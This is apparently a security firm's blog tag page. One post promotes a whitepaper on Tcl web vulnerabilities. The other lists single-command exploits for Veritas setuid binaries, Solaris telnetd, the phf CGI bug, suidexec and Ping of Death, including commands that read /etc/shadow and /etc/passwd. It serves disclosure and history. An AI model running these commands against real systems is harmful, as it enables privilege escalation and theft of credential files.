Posts Tagged command

Tickle! See? Gee, I …

A montage of TCL and Tcl-related logos

Tcl/Tk

Ah, TCL, the Tool Command Language. Based on the research conducted by myself and my colleagues here at Security Objectives (most notably Shane Macaulay,) we have concluded that Tcl has a multitude of security issues, especially when being used in a network environment; and contemporarily speaking, network usage is almost unavoidable. In essence, we are urging the use of extreme caution in Tcl-based web development–whether it’s being used directly or indirectly. To generalize, we also advise against using Tcl for any network application or protocol (not just HTTP.) Security Objectives has published an in-depth analysis of practical Tcl vulnerabilities. The whitepaper, entitled “Tickling CGI Problems”, outlines the theoretical backbone of the phenomena in the first half and presents cases of real-world exploitation in the second half. However, the background theory along with some general programming and Hyper-Text Transfer Protocol knowledge is recommended in order to gain a firm understanding of the exploits themselves.

This is not to say that Tcl should not be used ever, so as a disclaimer we are not advocating any programming language over another.  Our position is that the traditional approach to web security with Tcl has much room for improvement. Like any other programming language it works nicely in certain areas such as academic research, scientific computing, extensions, and software testing. With that being said, one project that comes to mind is regfuzz, a regular expression fuzzer written in Tcl which is quite useful. The distinction here is that regfuzz is not intended to be exposed to a public (or even a private) network. Surely, Safe-Tcl could successfully serve network clients in a hardened production environment given that assessed risks were rated low enough to suffice as acceptable. The problem is, that’s not the type of operations that occur in practice as evidenced by an overwhelming majority of cases.

The vulnerabilities exposed by the whitepaper affect TclHttpd, Lyris List Manager, cgi.tcl (which also uses Expect) as well as the Tcl language itself and interpreters thereof. Some of the attack methodologies and vulnerabilities identified are new to the public. Others are similar to well-known attacks or simply subversions of previous security patches, e.g. CVE-2005-4147. As time unfolds, there will surely be a surge in publicized Tcl weaknesses due to the research which is elaborated on within the whitepaper. If you’re interested in discovering vulnerabilities in Tcl software yourself, then there’s a grand list of references to Tcl-related things at http://www.tcl.tk/resource_dump.html. There is also a USENET newsgroup dedicated to it which is naturally called comp.lang.tcl.

For those of you attending CanSecWest 2011 in Vancouver, we are sponsoring the event. Professionals from Security Objectives will be in attendance to answer your queries regarding Tcl/Tk security or other areas of specialized research (information assurance, software assurance, cloud security, etc.) Of course, our professionals will also be available to field questions regarding Security Objectives’ product and service offerings as well. In addition, CanSecWest 2011 attendees receive special treatment when purchasing licenses for BlockWatch, the complete solution to total cloud security.

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Exploit One-Liners

Very Small Shell Scripts

Every once in a while there are security vulnerabilities publicized that can be exploited with a single command. This week, Security Objectives published advisories for two such vulnerabilities (SECOBJADV-2008-04 and SECOBJADV-2008-05) which I’ll be describing here. I’ll also be revisiting some one-line exploits from security’s past for nostalgia’s sake and because history tends to repeat itself.

Both issues that were discovered are related to Symantec’s Veritas Storage Foundation Suite. They rely on the default set-uid root bits being set on the affected binaries. Before Symantec and Veritas combined, Sun package manager prompted the administrator with an option of removing the set-id bits. The new Symantec installer just went ahead and set the bits without asking (how rude!)

On to the good stuff.. The first weakness is an uninitialized memory disclosure vulnerability. It can be leveraged like so:

/opt/VRTS/bin/qiomkfile -s 65536 -h 4096 foo

Now, the contents of file .foo (note that it is a dot-file) will contain uninitialized memory from previous file system operations–usually from other users. Sensitive information can be harvested by varying the values to the -s and -h flags over a period of time.

This next one is a bit more critical in terms of privilege escalation. It is somewhat similar to the Solaris srsexec hole from last year. Basically, you can provide any file’s pathname on the command line and have it displayed on stderr. As part of the shell command, I’ve redirected standard error back to standard output.

/opt/VRTSvxfs/sbin/qioadmin -p /etc/shadow / 2>&1

Some of these one-liner exploits can be more useful than exploits that utilize shellcode. Kingcope’s Solaris in.telnetd exploit is a beautiful example of that. The really interesting thing about that one was its resurrection–it originally became well-known back in 1994. In 2007, Kingcope’s version won the Pwnie award for best server-side bug.

telnet -l -fusername hostname

Let’s not forget other timeless classics such as the cgi-bin/phf bug, also from the mid-nineties:

lynx http://host.com/cgi-bin/phf?Qalias=/bin/cat%20/etc/passwd

..and Debian’s suidexec hole from the late nineties:

/usr/bin/suidexec /bin/sh /path/to/script


I’m not including exploits that have pipes/semi-colons/backticks/etc. in the command-line because that’s really more than one command being executed. Since the “Ping of Death” is a single command from a commonly installed system utility I’ll be including it here as well. I consider it a true denial of service attack since it does not rely on bandwidth exhaustion:

ping -s70000 -c1 host

EOF

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